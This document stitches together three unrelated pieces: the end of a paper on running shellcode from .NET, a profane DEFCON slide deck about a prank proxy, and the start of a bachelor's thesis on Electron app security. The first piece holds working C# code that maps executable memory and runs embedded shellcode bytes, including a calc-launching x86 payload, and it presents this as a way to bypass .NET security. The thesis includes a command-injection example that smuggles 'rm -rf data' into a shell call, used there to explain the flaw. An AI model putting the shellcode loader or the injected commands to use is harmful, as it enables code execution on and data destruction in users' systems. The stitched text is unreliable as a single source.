VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)_ASM_Code.Length), AllocationType.COMMIT | AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE); try { // copy the ASM code into memory(code memory) System.Runtime.InteropServices.Marshal.Copy(_ASM_Code, 0, p, _ASM_Code.Length); // build the function pointer to the ASM code funPointer ASM_Function = (funPointer)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(p, typeof(funPointer)); try{ // Run the ASM code valIN = ASM_Function(valIN); }catch { } // free up the ASM code in mem:) VirtualFree(p, 0, 0x8000); } catch (System.Exception ex) { System.Windows.Forms.MessageBox.Show("FAIL -- " + ex.Message); } return valIN; } static public byte[] _ASM_Code = new byte[]{0x00}; static public byte[] _ASM_Code_Inc = new byte[] { 0x48, 0x89, 0xd8, // mov %rbx,%r8 0x48, 0xff, 0xc0, // inc %rax 0xc3 // retq }; static public byte[] _ASM_Code_Calc = new byte[] { 0x31, 0xF6, 0x56, 0x64, 0x8B, 0x76, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x6E, 0x08, 0x8B, 0x36, 0x8B, 0x5D, 0x3C, 0x8B, 0x5C, 0x1D, 0x78, 0x01, 0xEB, 0x8B, 0x4B, 0x18, 0x67, 0xE3, 0xEC, 0x8B, 0x7B, 0x20, 0x01, 0xEF, 0x8B, 0x7C, 0x8F, 0xFC, 0x01, 0xEF, 0x31, 0xC0, 0x99, 0x32, 0x17, 0x66, 0xC1, 0xCA, 0x01, 0xAE, 0x75, 0xF7, 0x66, 0x81, 0xFA, 0x10, 0xF5, 0xE0, 0xE2, 0x75, 0xCC, 0x8B, 0x53, 0x24, 0x01, 0xEA, 0x0F, 0xB7, 0x14, 0x4A, 0x8B, 0x7B, 0x1C, 0x01, 0xEF, 0x03, 0x2C, 0x97, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x87, 0x04, 0x24, 0x50, 0xFF, 0xD5, 0xC3 }; static public byte[] _ASM_Code_Message = new byte[] { 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x8D, 0xB3, 0x50, 0x01, 0x00, 0x00, 0x56, 0x8D, 0xB3, 0x4C, 0x01, 0x00, 0x00, 0x56, 0x68, 0x01, 0x00, 0x00, 0x00, 0x68, 0x88, 0x4E, 0x0D, 0x00, 0xE8, 0x47, 0x00, 0x00, 0x00, 0x8D, 0xB3, 0x58, 0x01, 0x00, 0x00, 0x56, 0x8D, 0xB3, 0x54, 0x01, 0x00, 0x00, 0x56, 0x68, 0x01, 0x00, 0x00, 0x00, 0x68, 0x88, 0x8F, 0x03, 0x00, 0xE8, 0x2A, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x8D, 0x83, 0x9B, 0x01, 0x00, 0x00, 0x50, 0x8D, 0x83, 0x5C, 0x01, 0x00, 0x00, 0x50, 0x68, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x93, 0x58, 0x01, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x93, 0x50, 0x01, 0x00, 0x00, 0xC3, 0x55, 0x89, 0xE5, 0x51, 0x56, 0x57, 0x8B, 0x4D, 0x0C, 0x8B, 0x75, 0x10, 0x8B, 0x7D, 0x14, 0xFF, 0x36, 0xFF, 0x75, 0x08, 0xE8, 0x19, 0x00, 0x00, 0x00, 0x89, 0x07, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x81, 0xC6, 0x04, 0x00, 0x00, 0x00, 0xE2, 0xE6, 0x5F, 0x5E, 0x59, 0x89, 0xEC, 0x5D, 0xC2, 0x10, 0x00, 0x55, 0x89, 0xE5, 0x53, 0x56, 0x57, 0x51, 0x64, 0xFF, 0x35, 0x30, 0x00, 0x00, 0x00, 0x58, 0x8B, 0x40, 0x0C, 0x8B, 0x48, 0x0C, 0x8B, 0x11, 0x8B, 0x41, 0x30, 0x6A, 0x02, 0x8B, 0x7D, 0x08, 0x57, 0x50, 0xE8, 0x5B, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x04, 0x89, 0xD1, 0xEB, 0xE7, 0x8B, 0x41, 0x18, 0x50, 0x8B, 0x58, 0x3C, 0x01, 0xD8, 0x8B, 0x58, 0x78, 0x58, 0x50, 0x01, 0xC3, 0x8B, 0x4B, 0x1C, 0x8B, 0x53, 0x20, 0x8B, 0x5B, 0x24, 0x01, 0xC1, 0x01, 0xC2, 0x01, 0xC3, 0x8B, 0x32, 0x58, 0x50, 0x01, 0xC6, 0x6A, 0x01, 0xFF, 0x75, 0x0C, 0x56, 0xE8, 0x23, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x08, 0x83, 0xC2, 0x04, 0x83, 0xC3, 0x02, 0xEB, 0xE3, 0x58, 0x31, 0xD2, 0x66, 0x8B, 0x13, 0xC1, 0xE2, 0x02, 0x01, 0xD1, 0x03, 0x01, 0x59, 0x5F, 0x5E, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00, 0x55, 0x89, 0xE5, 0x51, 0x53, 0x52, 0x31, 0xC9, 0x31, 0xDB, 0x31, 0xD2, 0x8B, 0x45, 0x08, 0x8A, 0x10, 0x80, 0xCA, 0x60, 0x01, 0xD3, 0xD1, 0xE3, 0x03, 0x45, 0x10, 0x8A, 0x08, 0x84, 0xC9, 0xE0, 0xEE, 0x31, 0xC0, 0x8B, 0x4D, 0x0C, 0x39, 0xCB, 0x74, 0x01, 0x40, 0x5A, 0x5B, 0x59, 0x89, 0xEC, 0x5D, 0xC2, 0x0C, 0x00, 0x6A, 0xBC, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xB8, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x6D, 0x61, 0x6C, 0x77, 0x61, 0x72, 0x65, 0x21, 0x0D, 0x0A, 0x50, 0x72, 0x65, 0x73, 0x73, 0x20, 0x4F, 0x4B, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x62, 0x6F, 0x72, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x70, 0x72, 0x65, 0x2D, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x64, 0x00 }; #region magic numbers for windows // just magic numbers public enum AllocationType : uint { COMMIT = 0x1000, RESERVE = 0x2000, RESET = 0x80000, LARGE_PAGES = 0x20000000, PHYSICAL = 0x400000, TOP_DOWN = 0x100000, WRITE_WATCH = 0x200000 } // just magic numbers public enum MemoryProtection : uint { EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, GUARD_Modifierflag = 0x100, NOCACHE_Modifierflag = 0x200, WRITECOMBINE_Modifierflag = 0x400 } #endregion } } This ASM classis compiled with x86 or x64, just call _ASM_Code = _ASM_Code_Inc; and then runASM(x); The _ASM_Code_Inc will run under x64 and give arouse results under x86. While _ASM_Code_Calc and _ASM_Code_Message will run under x86 and not under x64. How to stop this: To stop an Assembly from doing this under Visual Studio 2008 Right click on the Assembly->Properties->Security, Then set it to a partial trust application. Then under SecurityPermission you revoke(uncheck) “Allow calls to unmanaged assemblies”. 1. 2. 3. 4. Conclusion: The main goal of the “feature” described in this paper is to opens up an easy to access path for people coming from ShellCode and ASM that wish to run under the .NET framework, and in turn open an easy path to leverage the power and research done under ASM in .NET projects. This paper outlined an easy way to run attacks that leverage ASM/ShellCode and thus once started are out of the scope of and .NET security features. This can be used for good or evil, however this “feature” is used it can now be easily used from within .NET. The task of locking .NET applications down is also trivial, and the protection it provides in the end is minimal. I expect most people people will not turn this security ON and most people will not leverage this vector of attack. Remember NO code should be trusted unless you write it !!EVER!! not the code supplied in this paper not the code found on major websites. As a side note: Assembly code can be ran with reflection as well:) and locking down the unmanned call will not stop this attack. :)enjoy
pdf
PROXY PRANK-O-MATIC starring charlie vedaa, ccie #7502 and anonymous speaker A messAGE fROM Jules A messAGE fROM Jules If you’re easily offended… A messAGE fROM Jules If you’re easily offended… now would be a good time to go fuck yourself. A messAGE fROM Jules If you’re easily offended… now would be a good time to go fuck yourself. Seriously, fuck off. A Message From Jules If you’re easily offended… now would be a good time to go fuck yourself. Seriously, fuck off. Fucking asshole. ciscostu network architect FBI’s CJIS Division founder PacketProtector.org anonymous speaker has skills Who are we? Shameless SALES PITCH What’s the point of this? Sounds interesting... Sounds interesting... the TIME MACHINE It’s on, bitches the all-porn internet Prepare to be woo-ed the Tourette-net MOTHERFUCKER Come and get it http://prank-o-matic.com the time machine proxy.prank-o-matic.com:8000 the all-porn internet proxy.prank-o-matic.com:8001 the tourette-net proxy.prank-o-matic.com:8002 Brainstorming Props •Pete Stevens (Upside-Down- Ternet) •DEFCON staff •Squid •the entire open source community
pdf
An Analysis of the State of Electron Security in the Wild Bachelor’s Thesis Benjamin Altpeter August 1, 2020 supervised by Prof. Dr. Martin Johns Declaration of Authorship I hereby declare that the thesis submitted is my own unaided work. All direct or indirect sources used are acknowledged as references. I am aware that the thesis in digital form can be examined for the use of unauthorized aid and in order to determine whether the thesis as a whole or parts incorporated in it may be deemed as plagiarism. For the comparison of my work with existing sources I agree that it shall be entered in a database. Further rights of reproduction and usage, however, are not granted here. This paper was not previously presented to another examination board and has not been published. Braunschweig, on August 1, 2020 Benjamin Altpeter Contents 1. Introduction 6 2. Background 8 2.1. Electron Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.2. A Basic App . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3. Electron Attack Vectors 11 3.1. Attack Vectors Shared with Web Applications . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.1.1. OWASP Top Ten . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.1.2. Additional Attack Vectors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.2. Attack Vectors Specific to Electron . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 3.2.1. Not Enabling Security Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 3.2.2. Opening URLs with shell.openExternal() . . . . . . . . . . . . . . . . . . . . . . . . 20 3.2.3. Missing Permission Request Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.2.4. Insecure Protocol Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 3.2.5. Introducing Privileged APIs to the Window Object . . . . . . . . . . . . . . . . . . . 22 3.3. Differences in Exploitation Compared to the Browser . . . . . . . . . . . . . . . . . . . . . . 23 4. Documented Vulnerabilities in Electron Applications 24 4.1. XSS and RCE in Leanote Desktop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 4.2. RCE in WordPress.com for Desktop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 4.3. RCE in Rocket.Chat Desktop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 5. Automated Analysis 32 5.1. Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 5.2. Collecting Electron Apps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 5.3. Downloading Apps and Source Code Extraction for Closed Source Apps . . . . . . . . . . . 33 5.4. Scanning for Potential Security Problems . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 5.5. Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 6. Manual Analysis 41 6.1. RCE in Jitsi Meet Electron . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 6.2. RCE in Desktop App for CMS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 6.3. XSS and RCE in Note-taking App . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 6.4. RCE in Bug Tracking App . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 7. Takeaways 45 7.1. Security-Consciousness in Electron Apps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 7.2. Recommendations to Electron Developers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 7.3. Recommendations to App Developers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 8. Related Work 48 8.1. Foundational Research . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 Contents 4 8.2. Research on Electron . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 8.3. Research on Similar Frameworks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 9. Conclusion 50 9.1. Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 10.Bibliography 52 A. Appendix 59 A.1. Vulnerabilities That Were Considered . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 A.2. Exposé . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 Abstract Electron is an open source framework for building cross-platform desktop applications using regular web tech- nologies like JavaScript, HTML and CSS. Electron apps are getting more and more popular, with thousands of applications already built using the framework. This new paradigm also requires new security considerations and a widened threat model: Web applications are strictly isolated from the operating system, running in the browser’s sandbox and without access to system primitives. Electron apps, however, can be given full access to the Node.js APIs, breaking open this isolation. Thus, many of the well-known attack vectors of the web still apply to Electron applications, but they may be a lot more severe given full access to the system. This thesis will first explore known attacks for Electron apps, comparing their impact there to web apps in the browser. Then, it will present an analysis of 1,204 open and closed source Electron applications for various security indicators to give an insight into the state of Electron security in the wild. The results show that while the situation is improving with more developers becoming aware of the necessary security considerations and secure defaults starting to be introduced, most apps don’t take advantage of Electron’s security features and use of dangerous functions is common. This work is licensed under a Creative Commons “Attribution 4.0 International” license. 1. Introduction “It’s easier than you think: If you can build a website, you can build a desktop app.” Electron is an open source framework for building cross-platform desktop applications using regular web technologies like JavaScript, HTML and CSS. Its homepage features the above statement, highlighting the underlying philosophy: Electron strives to not just make developing desktop apps easier but also possible for people without any experience in this field. And the strategy is working: Electron apps are getting more and more popular, often replacing previous native ones. There are already thousands of applications built on Electron, including popular messaging apps like Slack Desktop, Skype, and WhatsApp Desktop, IDEs like Atom and Visual Studio Code, or even disk image writing utilities like Balena Etcher. However, despite the apparent benefits, one also has to consider the security aspects of the framework and the apps made using it. Web applications have long been strictly isolated from the operating system, running in the browser’s sandbox and without access to system primitives like the file system or the ability to modify system settings. Desktop applications, on the other hand, often fundamentally rely on this native access. Electron tries to bridge this gap by introducing additional privileged APIs that can be accessed by the sites the apps load, breaking open the sandbox mechanism of the underlying browser. Therefore, the threat model needs to be significantly widened. Many of the well-known attack vectors of the web still apply to Electron applications, some being more and some being less severe or leading to different problems compared to the browser. In addition, however, as Electron gives its apps access to native operating system primitives, additional attacks need to be considered and previous conclusions on the severity of attacks need to be re-evaluated given the lack of a sandbox. XSS vulnerabilities, where an attacker is able to inject malicious JavaScript code into a site, are a good example of this. While they are already severe on the web, allowing the attacker to modify the page and execute the same functions a user could, they become even more severe if the “browser” the site is running in also has full access to the user’s computer. Now the attacker can read and write files, execute programs, and install malware, among other things. This begs a number of questions: What potential security pitfalls are there when writing Electron ap- plications? Are they commonly known and well documented? Given that the framework explicitly targets developers with little to no experience on desktop applications, how security-conscious are Electron app developers actually? And what can be done to make Electron apps more secure? This thesis will try to answer these questions in two parts. The first part will focus on the theoretical background and explore known attacks, comparing their impact when affecting a web and an Electron application. It will explain the reasons for the differences in severity and effects. Furthermore, it will describe the steps already being taken to avoid vulnerabilities and minimize the risks, including, for example, recommendations given by the Electron developers and the default values of security-relevant settings. Finally, it will look at documented existing vulnerabilities in Electron apps to get a first insight into the state of Electron security in the wild. The second part will then try to give a broader picture of this situation in the form of an empirical analysis of open and closed source applications using Electron. To this end, statistics on security-related practices of a large number of Electron apps were collected. These statistics include parameters like the Electron version used, whether security features are enabled and whether the used dependencies contain known vulnerabilities. From these results, recommendations to both the developers of Electron and individual app developers will be given on how to make apps more secure. 1. Introduction 7 Contributions In particular, the following contributions are made: A comprehensive overview of common attack vectors for Electron applications is given with explana- tions on how these problems can be avoided. Three actual documented vulnerabilities in large Electron apps and their fixes are explained and minimal reproducible examples of these vulnerabilities are given. A series of scripts was written to automatically collect and analyse Electron apps and an open source security scanner for Electron apps was extended with most changes already contributed back upstream. Statistics on the security-related practices of more than 1,200 open and closed source apps are pre- sented. From the collected statistics, multiple vulnerabilities in Electron apps were discovered and reported to the respective projects. Where possible, these findings are also presented in this thesis. 2. Background Electron is an open source framework for developing desktop applications using web technologies, i.e. us- ing HTML for the content and structure, CSS for the styling and JavaScript for the functionality. This allows the resulting apps to be cross-platform, running on Linux, macOS, and Windows with minimal platform-specific code [1]. It was originally developed for the Atom editor by GitHub as Atom Shell and later renamed to Electron in April 2015 [2]. Electron’s governance has moved to working groups in March 2019 [3] and since December 2019, the project is hosted by the OpenJS Foundation [4] which also manages projects like jQuery, Node.js and Esprima [5]. 2.1. Electron Architecture The goal behind Electron is simple: Use web technologies for wide portability and easier development but also make the app feel like a native program by exposing additional capabilities to the developers [1]. It does so by combining two existing technologies and adding its own platform helpers on top: Sites are loaded using the Chromium browser and access to operating system primitives, like the file system and shell, as well as a vast ecosystem of libraries is provided through the Node.js JavaScript runtime which is meant for running JavaScript outside of the browser and therefore includes APIs for traditional OS features, and its corresponding package repository. Electron then adds its own APIs for native platform functions like menus, notifications, etc. Electron apps run across multiple processes, namely the main and renderer processes [6, p. 6]. There is always exactly one main process that controls the application and each page has its own renderer process, just like tabs in Chromium. The main process has access to all renderer processes while the renderer processes are isolated and can only control their own page [7]. But while the main process has access to privileged Electron functions, it cannot access the DOM APIs [8]. Those are only available to the renderer processes which in turn, depending on the settings, can only access very few or none of the Electron APIs. The main process and render processes can communicate using inter-process communication (IPC) messages in JSON format, similar to the postMessage communication between a website and an <iframe>. Figure 2.1 illustrates this architecture. 2.2. A Basic App A Node.js module bundles the JavaScript code of an application with its dependencies, which can be installed using a package manager like NPM or Yarn, and are saved in the node_modules directory [9, p. 71]. It further contains a package.json file which holds metadata about the module, like its name, version, and dependencies. Electron apps are essentially just Node.js modules with the electron package installed as a dependency [10]. They need a JavaScript file that sets up the app, often called main.js, as an entry point that is set through the main field in the package.json. To distribute the app, it needs to be packaged either by just bundling it with a prebuilt Electron binary or using a third-party tool like electron-forge1 or electron-builder2 [11]. 1https://www.electronforge.io/ 2https://www.electron.build/ 2.2. A Basic App 9 Figure 2.1.: The architecture of an Electron app. The app’s entry point script main.js runs in the main process which has full access to the Node.js and privileged Electron platform APIs. It can spawn multiple windows that will run in separate renderer processes. These always have access to the DOM APIs and depending on the settings may have access to the Node.js and some Electron APIs. The different processes can communicate with one another through IPC messages (if available to the renderer processes). In this figure, the dashed blue parts may not be accessible to a renderer process depending on the settings for this particular window. main process renderer processes window window main.js window … controls read/write read/write privileged Electron APIs some Electron APIs Node.js APIs Node.js APIs DOM APIs IPC channels The most basic Electron app, simply loading an HTML page, would thus look like this (saved as main.js): const { app, BrowserWindow } = require('electron'); function createWindow() { const window = new BrowserWindow(); window.loadFile('index.html'); } app.on('ready', createWindow); This provides no more features than a browser, though. Electron’s main advantage is in being able to access the user’s computer from the app which isn’t possible from a website in a browser. Most trivially, this can be done using Node integration which allows using all Node.js APIs directly from the JavaScript of the page. Consider the following example (saved as index.html) of a minimal note taking application that automatically saves the entered notes to the user’s disk: <textarea id="content-input"></textarea> <script> const fs = require('fs'); document.getElementById('content-input').oninput = function(e) { fs.writeFileSync('/home/user/notes.txt', e.target.value); }; </script> This example now makes use of the Node integration feature to access Node.js’ fs module to write to 2.2. A Basic App 10 the file system. Note that depending on the version, Node integration needs to be enabled through the webPreferences option of the BrowserWindow first like so: const window = new BrowserWindow({ webPreferences: { nodeIntegration: true } }); In addition, Electron provides platform APIs that would be available to regular, native apps. For example, there is an abstraction over the different operating systems’ notification APIs that can be used like this from the renderer process [12]: const n = new Notification('Notification title', { body: 'Notification text' }); There are also platform-specific APIs like adding menu items to the dock icon on macOS [13]: const { app, Menu } = require('electron'); const dockMenu = Menu.buildFromTemplate([{ label: 'Say hello', click() { alert("Hello!"); } }]); app.dock.setMenu(dockMenu); This way, developers can create desktop applications fairly easily and with little required knowledge other than how to create websites. Note however that the features explained here need careful security considerations before being used. The examples are only for the purpose of introducing the concepts of Electron and should not be used in actual apps. While the code as presented doesn’t contain any immediate exploitable vulnerabilities, it becomes dangerous when the app gets more complex and more features are added. If an attacker somehow managed to execute JavaScript in the renderer process of this example app, they could leverage the enabled Node integration to remotely execute arbitrary code on the user’s computer. These problems and considerations will be discussed in the next two chapters. 3. Electron Attack Vectors After learning how to create Electron applications, the next step in order to be able to build secure ones is understanding the possible attack vectors for exploiting them. This chapter will look at the potential impact these attack vectors have as well as existing mitigations and steps being taken to minimize the risks stemming from them. This will help with deciding which ones to consider for further analysis. Table 3.1 gives an overview of all the attack vectors discussed in this chapter. 3.1. Attack Vectors Shared with Web Applications As established in Section 2.1, Electron applications are essentially websites running in a specialized browser. When considering attack vectors for Electron apps, it thus seems logical to first look at known attack vectors for websites accessed through “regular” browsers. Nevertheless, not all attack vectors for the web also apply to Electron. Comparing the impact of the attack vectors between the browser and Electron will allow deciding which ones are relevant and warrant further consideration. 3.1.1. OWASP Top Ten The Open Web Application Security Project (OWASP) is a non-profit organization that focusses on web application security. They publish the OWASP Top Ten, a widely regarded and cited list of ten critical security risks commonly occurring in web applications [14]. This section will explain the attacks described there and evaluate their impact for Electron applications. It is based on the most recent version of 2017, with the items in the order OWASP considers most dangerous. Injection (A1:2017) Injection attacks are possible if untrusted user input is passed directly, i.e. without filtering or sufficient san- itization, into a privileged function. This way, the attacker can alter the program flow, causing unintended output [15]. Common injection attacks include SQL injection, where the user input is inserted directly into the query, allowing the attacker to change the query to return different results or have unwanted side effects, like deleting records, and command injection, where the user input is inserted directly into a shell command, allowing the attacker to execute their own commands on the host. SQL injection usually doesn’t apply in the context of Electron. An app might ship a client-side SQLite database but this attack vector typically applies to systems with a central database. While Electron apps may well access such a database, the vulnerability would then be in the backend server, not in the Electron app. Command injection, on the other hand, can definitely be relevant as Electron exposes the regular Node.js APIs like child_process.exec() which can be used to execute arbitrary commands on the host system. If used incorrectly, those can be abused by attackers just like in regular Node.js server apps. If an app for example uses child_process.exec(`ls -l ${directory}`, callback); and an attacker manages to inject rm -rf data into the directory variable, the data directory will be deleted [16, p. 75]. There are no mitigations for command injection specific to Electron as they are executed through regular Node.js APIs. 3.1. Attack Vectors Shared with Web Applications 12 Table 3.1.: Comparing the discussed attack vectors between browsers, servers and Electron apps. Attack vector Causes Applies to browser? Applies to server? Applies to E. app? Relative severity in E. apps Mitigations for E. apps Injection (A1:2017) passing user input directly to sensitive functions no yes yes / none Broken authentication (A2:2017) use of weak authentication mechanisms no yes no / / Sensitive data exposure (A3:2017) use of insecure protocols, accidental information leakage no yes yes less security scanners XML external entities (A4:2017) improper XML parsing no yes yes same (less common) none Broken access control (A5:2017) not restricting access to sensitive data and functions properly no yes no / / Security misconfiguration (A6:2017) use of insecure defaults, manually disabling security features yes yes yes same adoption of secure defaults, security scanners XSS (A7:2017) executing user-controlled JavaScript yes no yes more security scanners, secure settings Insecure deserialization (A8:2017) improper use of data formats that are too powerful yes yes yes same (less common) none Using components with known vulnerabilities (A9:2017) outdated, vulnerable libraries yes yes yes same dependency checkers Insufficient logging & monitoring (A10:2017) no monitoring, monitoring not checked regularly no yes no / / Replacing the app source insufficient awareness by users, no code-signing yes no yes more none 3.1. Attack Vectors Shared with Web Applications 13 Attack vector Causes Applies to browser? Applies to server? Applies to E. app? Relative severity in E. apps Mitigations for E. apps Open redirect, navigation trusted domains redirecting to arbitrary targets yes no yes more security scanners Opening URLs with shell.openExternal() improper filtering of the allowed URLs no no yes / security scanners Missing permission request handlers no filtering of permission requests no no yes / security scanners Insecure protocol handlers improper checking of incoming URLs no no yes / security scanners Introducing privileged APIs to the window object exposing privileged APIs from preload scripts no no yes / security scanners 3.1. Attack Vectors Shared with Web Applications 14 Broken Authentication (A2:2017) The authentication mechanisms used by services may be weak. Common problems include insufficient brute- force protection, allowing attackers to perform credential stuffing attacks, and improper session timeouts [17]. This problem doesn’t apply to Electron apps as, again, the Electron app doesn’t act as a central server but rather the attacker would only be able to access their own data. There may of course be related vulnerabilities in the backend server the app talks to. Sensitive Data Exposure (A3:2017) Sensitive data exposure means the leaking of sensitive information to a third party that isn’t supposed to have access to that information [18]. The cause for the problem might be something as trivial as forgotten files on a web server that are accessible without authentication or even just leaking whether a user exists after entering an invalid password. While it seems like sensitive data exposure might also primarily apply to server applications, it is actually relevant to Electron as well. A common example here is remote content loaded via HTTP, allowing for man-in-the-middle (MITM) attacks, just like in browsers. One might also imagine a password manager implemented in Electron that leaks sensitive data to other applications. There are some mitigations targetting these kinds of problems, primarily security scanners which alert the developer when resources are loaded via HTTP [19]. XML External Entities (A4:2017) XML is a powerful language, so developers need to be careful when parsing untrusted data. Notably, external entities in XML can be used to load values from outside the document. If the parser is configured incorrectly, an attacker may be able to exfiltrate sensitive data by including local files in the document [20]. While it is possible for Electron apps to (dangerously) parse XML, that is fairly uncommon. As they are written in JavaScript, the preferred data exchange format for Electron apps is JSON. The impact from this attack would be similar to that in a server app, just endangering the files on the user’s computer instead. There are no Electron-specific mitigations for XML external entities attacks. Broken Access Control (A5:2017) Access to sensitive data and functions needs to be restricted to authorized users. If access control mecha- nisms are not present or configured incorrectly, an attacker may access privileged data or run unintended commands [21]. This attack vector doesn’t apply here as it is only relevant to server applications. The Electron app only has access to the user’s own computer which they already control. Security Misconfiguration (A6:2017) Software and libraries don’t always come with secure default settings or even include unnecessary sample components that need to be disabled or removed explicitly [22]. An attacker can use these misconfigurations to gain unauthorized access. This problem equally applies to Electron apps. There are a number of security settings that need to be enabled explicitly by the developer. In addition, some unnecessary features like the Chromium DevTools 3.1. Attack Vectors Shared with Web Applications 15 are enabled by default and need to be disabled explicitly. Electron is starting to move more and more settings to secure defaults, though. See Section 3.2.1 for more details. In addition, some security scanners include checks for these preferences [19]. Cross Site Scripting (A7:2017) Cross site scripting (XSS) occurs when an attacker is able to inject JavaScript into a web page. This is often because user input, e.g. a search query, is inserted directly into the web page (using element.innerHTML = value for example) and then interpreted as HTML by the browser, allowing the attacker to execute code in the context of the user’s session. XSS can be used to steal session data like cookies, perform key logging, or even for phishing by manipulating the page [23]. In the context of Electron apps, XSS is even more relevant. It is equally applicable as Electron apps are just web pages. The effects are greatly magnified though: Electron apps often need more privileges than a regular browser. Electron thus provides them with access to the Node.js APIs, allowing access to the file system, for example. While it is possible to isolate them from the renderer process, that isn’t always done, allowing to escalate XSS attacks into remote code execution (RCE) which gives the attacker full access to the user’s system. In terms of mitigations, it is possible to weaken the effects of XSS attacks by limiting the privileges of the renderer process. These settings are detailed in Section 3.2.1. Insecure Deserialization (A8:2017) Serialization is used to store an object on the file system or to pass it over the network. Deserialization then takes this serialized data and turns it back into an object. Deserializing untrusted data can be dangerous. The deserialized object may contain properties, most notably attached functions, the developer is not aware of. In some cases, these functions may even be executed automatically when deserializing [24]. This attack vector also applies to Electron. Similarly to XSS, it can also lead to RCE here. It is not very common, though. Usually, objects in JavaScript code are serialized to JSON which is safe to dese- rialize. However, there are packages like node-serialize1 which also serialize functions and may even automatically execute attached functions [25]. There are no mitigations for insecure deserialization, as this attack vector is caused by third-party packages. Using Components with Known Vulnerabilities (A9:2017) Large lists of exploits and known vulnerabilities are available for most libraries, frameworks, and other packages. Using these components in an application may expose it to the same vulnerabilities. This problem is particularly prevalent with older versions of packages, so developers need to make sure to update their dependencies regularly. This problem equally applies to Electron apps. In the JavaScript ecosystem, it is common to have large trees of dependencies and managing them can be hard [26]. In 2018, the NPM package manager introduced the npm audit command that scans a package’s depen- dencies for known vulnerabilities and warns the developer. If versions with fixes are available, it can also automatically update those dependencies [27]. This tool can also be used for Electron apps. 1https://www.npmjs.com/package/node-serialize 3.1. Attack Vectors Shared with Web Applications 16 Insufficient Logging & Monitoring (A10:2017) When running server applications, it is important to monitor for suspicious activities like brute-forcing passwords or port scanning. This can help detect attacks early and prevent them or at least lower their impact [28]. This doesn’t really apply to Electron as the app runs on the user’s computer and not on a server. While logging would also be possible here, privacy concerns are greatly amplified. Users often don’t appreciate aggressive telemetry. 3.1.2. Additional Attack Vectors The OWASP Top Ten only lists a selection of ten attack vectors in the very broad field of general web security. This section will list some additional attack vectors beyond those. Replacing the App Source On the web, creating websites looking identical to popular websites is common for phishing attacks. Using methods like typosquatting, which means registering domains with common misspellings of brand names, e.g. ebaay.com instead of ebay.com; homograph attacks, which means registering domains with some characters swapped for similar looking ones, e.g. g00gle.com instead of google.com, or even using the fact that some TLDs allow Unicode characters in domains; and spam emails, victims are lured to the fake website where a login form awaits. The credentials entered there are sent to the attacker, though. Similar attacks can be carried out against Electron apps by distributing modified binaries with malicious code [29]. This attack is made easier by two factors: For one, Electron apps are written in HTML and JavaScript. While the code can be minified and obfuscated, introducing changes here is still a lot easier than in compiled binaries. Additionally, the actual code for the application, i.e. the HTML and JavaScript source, is usually distributed outside of the actual executable, either by bundling the source directly or by packing it into a so-called ASAR archive (a simple archive format developed specifically for Electron that is similar to 